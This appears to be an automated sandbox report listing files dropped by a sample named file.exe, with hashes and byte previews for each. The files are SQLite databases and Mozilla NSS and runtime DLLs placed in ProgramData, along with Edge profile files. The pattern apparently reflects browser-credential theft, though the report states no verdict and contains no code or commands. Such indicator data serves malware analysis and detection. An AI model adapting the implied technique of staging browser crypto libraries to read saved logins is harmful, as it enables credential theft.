SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KFCGDBAK

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 10, database pages 91, cookie 0x37, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.2678307794699584
Encrypted:	false
SSDEEP:	384:L/2qOB1nxCkM2SA1LyKOMq+8iP5GDHP/0jMVumq:Kq+n0J291LyKOMq+8iP5GLP/07
MD5:	06FE986FB94F303F131557E062FC6FA7
SHA1:	56B63A2FF7FA33B867E43119FE3CD1B4C16C7D79
SHA-256:	989C44AD1A59FB6E1560F6FFD5F6DCC4E0F99156401D7344ABEDD12A33DEA1AC
SHA-512:	C1ACC4C37B8B3183C74C37CD0B30F36622F420812636AA5B51D0BEE991EA3FB59D77412A530F9E01481A71822E5C9B79B0D43766D7033A876FC8E002CB05EB60
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......[...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\22c5596f-6c47-431f-9b17-09209842abc4.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089832794433163
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWddi1zNtPMjkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7yn/UkzItSmd6qE7lFoC
MD5:	6EF2BDC139914578F3E893EFF4FFE813
SHA1:	FFE381FE36F0BC9891721E91A75B7F420FEE35AE
SHA-256:	EA485605FE85CC2C56AAE09A84F48CB71A9FA246356A9463E1033F07BA0BA639
SHA-512:	4DC658B4A28A7A29407498AE497935F3A268406F5E23630A349BB90BE7775DA3C2CD828BA3923A1C17EB2E0C9B2A7E0D3C4BF77EA8342C28646263C1C44472F8
Malicious:	false
Reputation:	unknown
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\60cd6466-7881-4b06-9b3e-dc7084bd2387.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	44898
Entropy (8bit):	6.095844802898733
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWSEi1zNtWWwJHNVCzFcZFoJKJDSgzMMd6qD47u3+CO:+/Ps+wsI7yn7wRWKtSmd6qE7lFoC
MD5:	0D6F9061BE73A79C449FD1B11540E0B1
SHA1:	FFCEB2781ECA10560A4B64D8FDC7B6A5E29D2DD9
SHA-256:	5F350314E7CE3257B82EEBEA96EDFB43D96B7903C8AB2F6A5DCC574C494DFBDB
SHA-512:	135C49B60259F1A9DF60DB7F28EB6E01402FB207DA053BFD5BDB89F930E6CDD1A3F4F9D2969750C4FED9EF9D146B1BF1319D5694780DFA2ADD09D76F58BBE3D9
Malicious:	false
Reputation:	unknown
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\6e721899-b9a3-4def-8f1b-df20933af8b8.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46357
Entropy (8bit):	6.08770664232195
Encrypted:	false
SSDEEP:	768:3MkbJrT8IeQcrQgxKvn/i1zNtWWwJH9UY5ePUFPyF36LbQQkHX1hcCioMJDSgzMP:3Mk1rT8HRKMwRnL0THUFoMtSmd6qE7p
MD5:	1EB43FE2B82782CC159CFCCB9E7B5527
SHA1:	464D7C6A83C48D7DCC339D921AF4E273B3E11689
SHA-256:	0311DDC2DBB0C3CD6FA0D43883EE528907C755B2C799BCBC523B3BD2BAB4A64A
SHA-512:	8C51C6D1E0DE8F6EA713BB26D6183ADB15C27B0DA6E1253BE910F36D7C14480D422274127F34397980261B200EDA9221C8FDBE156FE0705D19413DE54D0ABDEC
Malicious:	false
Reputation:	unknown
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13376374886095357","browser":{"browser_build_version":"117.0.2045.55","browser_version_of_last_seen_whats_new":"117.0.2045.55","last_seen_whats_new_page_version":"117.0.2045.55"},"continuous_migration":{"local_guid":"02abbace-7fcc-4c5f-bbec-1092e20d34df"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1731901290"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\80d4a59b-120b-450a-8bd7-eed443916f8b.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44898
Entropy (8bit):	6.095844802898733
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWSEi1zNtWWwJHNVCzFcZFoJKJDSgzMMd6qD47u3+CO:+/Ps+wsI7yn7wRWKtSmd6qE7lFoC
MD5:	0D6F9061BE73A79C449FD1B11540E0B1
SHA1:	FFCEB2781ECA10560A4B64D8FDC7B6A5E29D2DD9
SHA-256:	5F350314E7CE3257B82EEBEA96EDFB43D96B7903C8AB2F6A5DCC574C494DFBDB
SHA-512:	135C49B60259F1A9DF60DB7F28EB6E01402FB207DA053BFD5BDB89F930E6CDD1A3F4F9D2969750C4FED9EF9D146B1BF1319D5694780DFA2ADD09D76F58BBE3D9
Malicious:	false
Reputation:	unknown
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\8d003703-d06f-467c-96f2-0316d7185703.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.640139880887754
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7h:fwUQC5VwBIiElEd2K57P7h
MD5:	7781A0DE57A3606D285D686A487FEB1B
SHA1:	5F702CBBA11E1AF5598DBC7A253A8D382D074ECB
SHA-256:	CF32BBA9E0B08B317F4E9A5DB38CE561C8BB13D337E41DCAB38AC85720F7EF0D
SHA-512:	A185790DAFC4904EA7DD258947811D58F855DBCC6C0D8165C179DF3669B7A7D7EC792EC27FBE671EB9076717C841631928D8BC601EC90F705FE3EB9C876C9C2E
Malicious:	false
Reputation:	unknown
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\blocklist (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.640139880887754
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7h:fwUQC5VwBIiElEd2K57P7h
MD5:	7781A0DE57A3606D285D686A487FEB1B
SHA1:	5F702CBBA11E1AF5598DBC7A253A8D382D074ECB
SHA-256:	CF32BBA9E0B08B317F4E9A5DB38CE561C8BB13D337E41DCAB38AC85720F7EF0D
SHA-512:	A185790DAFC4904EA7DD258947811D58F855DBCC6C0D8165C179DF3669B7A7D7EC792EC27FBE671EB9076717C841631928D8BC601EC90F705FE3EB9C876C9C2E
Malicious:	false
Reputation:	unknown
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-673AB765-1FC0.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.4939196069020741
Encrypted:	false
SSDEEP:	3072:yvWhWlYh6R0WJpTiRi7Pkc5Mn6tn0V0dlP3q9Hw7qfkkxAag1HFKtdN:HhWnbiRiTkc59W0Zqy7qfkkxAaaHMdN
MD5:	92B34D1D06246836C5E80AC3E739FCB8
SHA1:	EFCBB4EB8F17489A5D024424E7B4546C73E40489
SHA-256:	6C106FF4D06C49538FB060405F703917582AED37BAC3186630D7EFEC2BC2FDCC
SHA-512:	E554510E4C37A2E764173B4BF976CBE6668615133C6C3B59BBA60CE14334F847750CF519398F9267A78678BA12667D0682A614F2A60F60F27878858911B3CD0C
Malicious:	false
Reputation:	unknown
Preview:	...@..@...@.....C.].....@...............8...h...............`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30...............117.0.2045.55-64..".en-GB...Windows NT..10.0.190452l..x86_64..?........".qgfhao20,1(.0..8..B.......2.:.M..BU..Be...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@....................................w..U?:K...G...W6.>.........."....."...24.."."+jDg7C0j+BlQ1Nj+QPG7Safjq+2ZvoQsMhxZL1Gpc+U=".:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z...Nb.X9.I@..$...SF@.......Y@.......4@.......Y@........?........?.........................Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......4@.......Y@................Y@.......Y@.......Y@........?........?2................. ...2....

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	280
Entropy (8bit):	4.0984945491284295
Encrypted:	false
SSDEEP:	3:FiWWltlcUpPmPIijS3XbnbO6YBVP/Sh/JzvbYuDRBOc7cEJHCll:o1cUh4Y3LbO/BVsJDbYuDRBOycd
MD5:	AFAC5E4CC1213807ACB7D1A0F61BCF99
SHA1:	FEDCA0A829A0DBCCD1E9D7048398372FF9604783
SHA-256:	FF48F538CBF3D665C9B115D6F3F6459E0CD7D9DF368E921E5A4BF2CA88E3C55F
SHA-512:	44F1A7E8C8DD1D5CE625AE26ED4074900A979ACD34BAFB3D3B354145690D37D34E07F2D0D9DEE81BE80EAFA9E3973AB11AD6E85EB23A804958584D8DB4902D66
Malicious:	false
Reputation:	unknown
Preview:	sdPC.....................cT..\.E.....P."+jDg7C0j+BlQ1Nj+QPG7Safjq+2ZvoQsMhxZL1Gpc+U="..................................................................................47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU=....................7aa5fc64-f4df-45d8-92ed-89470ca1c2d2............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\02f90d73-ee1f-4e91-a651-83e7f00a53e6.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Reputation:	unknown
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\28a61982-bd19-4368-8aa5-9663b52fd4e8.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40504
Entropy (8bit):	5.561575268049366
Encrypted:	false
SSDEEP:	768:4EsFt2Wfr7pLGLpfRW5wRtf4WC8F1+UoAYDCx9Tuqh0VfUC9xbog/OVPviFmlIYx:4vD2A9cpfRWaRtfhCu1jaeymrxdMr4TD
MD5:	EE5C14179AAC16810138147E7B31C520
SHA1:	1C99940787BEDA0F8DCB19446E5A1589BF75C89A
SHA-256:	D849482DB06F850A1F3474DA0BD96CF2A3571DB556DED3EF3F411858FCB23427
SHA-512:	CFD322761CB2CD8F6AA2A51ED083A1E4991C0968A919077E57A1F243C5D962C56C8E84FE1C8F15911CCFDACF1214C62AE8CEA88E2F16ACD2F985D859B5BA83A2
Malicious:	false
Reputation:	unknown
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376374885268394","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376374885268394","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\2c55da0f-a28d-4248-95bd-29a1639cf013.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
